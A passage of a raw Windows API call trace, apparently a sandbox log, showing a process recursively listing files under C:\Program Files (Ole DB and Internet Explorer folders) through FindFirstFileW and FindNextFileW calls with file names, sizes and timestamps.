lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.072] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.072] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4283e78 [0094.072] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260290 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d8245b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msdasqlr.dll.mui", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9e0d51, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="oledb32r.dll.mui", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bb38282, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xac00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqloledb.rll.mui", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260290, lpFindFileData=0x2d2f08c | out: lpFindFileData=0x2d2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba9f918, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb65d7300, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sqlxmlx.rll.mui", cAlternateFileName="")) returned 0 [0094.073] FindClose (in: hFindFile=0x4260290 | out: hFindFile=0x4260290) returned 1 [0094.073] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4283e78 | out: hHeap=0x440000) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0094.073] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x5be00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1ca00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d0f4ea, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41d0f4ea, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41d0f4ea, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xe6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x13000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41ce9283, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41ce9283, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41ce9283, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0094.074] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41cc3017, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41cc3017, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41cc3017, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c80ffc, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43c80ffc, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43c80ffc, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x4fa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x4260590, lpFindFileData=0x2d2f308 | out: lpFindFileData=0x2d2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 0 [0094.075] FindClose (in: hFindFile=0x4260590 | out: hFindFile=0x4260590) returned 1 [0094.075] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4250058 | out: hHeap=0x440000) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0094.075] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0094.075] FindClose (in: hFindFile=0x42604d0 | out: hFindFile=0x42604d0) returned 1 [0094.076] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0094.078] FindNextFileW (in: hFindFile=0x4260190, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0094.078] FindClose (in: hFindFile=0x4260190 | out: hFindFile=0x4260190) returned 1 [0094.078] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4263e68 | out: hHeap=0x440000) returned 1 [0094.078] FindNextFileW (in: hFindFile=0x4260450, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x1a307d95, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xc5d0779b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0xc5d0779b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0094.078] FindNextFileW (in: hFindFile=0x4260450, lpFindFileData=0x2d2fa7c | out: lpFindFileData=0x2d2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0094.078] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4263e68 [0094.078] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\*", lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42604d0 [0094.079] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d83195, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0094.079] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0094.079] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4240050 [0094.080] FindFirstFileW (in: lpFileName="C:\\Program Files\\Internet Explorer\\en-US\\*", lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4260790 [0094.080] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0d83d92, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa21685bc, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2dfe94, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x68e10600, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hmmapi.dll.mui", cAlternateFileName="")) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b3c4cb5, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x75fdf500, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ieinstal.exe.mui", cAlternateFileName="")) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x4260790, lpFindFileData=0x2d2f584 | out: lpFindFileData=0x2d2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b2212c8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7f0f18af, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x74ccc800, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x1600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="iexplore.exe.mui", cAlternateFileName="")) returned 0 [0094.080] FindClose (in: hFindFile=0x4260790 | out: hFindFile=0x4260790) returned 1 [0094.080] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4240050 | out: hHeap=0x440000) returned 1 [0094.080] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd400, dwReserved0=0x0, dwReserved1=0x0, cFileName="hmmapi.dll", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="iediagcmd.exe", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a70c9a1, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xbc534b5e, ftLastAccessTime.dwHighDateTime=0x1d2fa09, ftLastWriteTime.dwLowDateTime=0x4a70c9a1, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7a800, dwReserved0=0x0, dwReserved1=0x0, cFileName="ieinstal.exe", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a49fe45, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ielowutil.exe", cAlternateFileName="")) returned 1 [0094.081] FindNextFileW (in: hFindFile=0x42604d0, lpFindFileData=0x2d2f800 | out: lpFindFileData=0x2d2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a49fe45, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a49fe45, ftLastAccessTime.dwHighDateTime=0x1d2a02a, 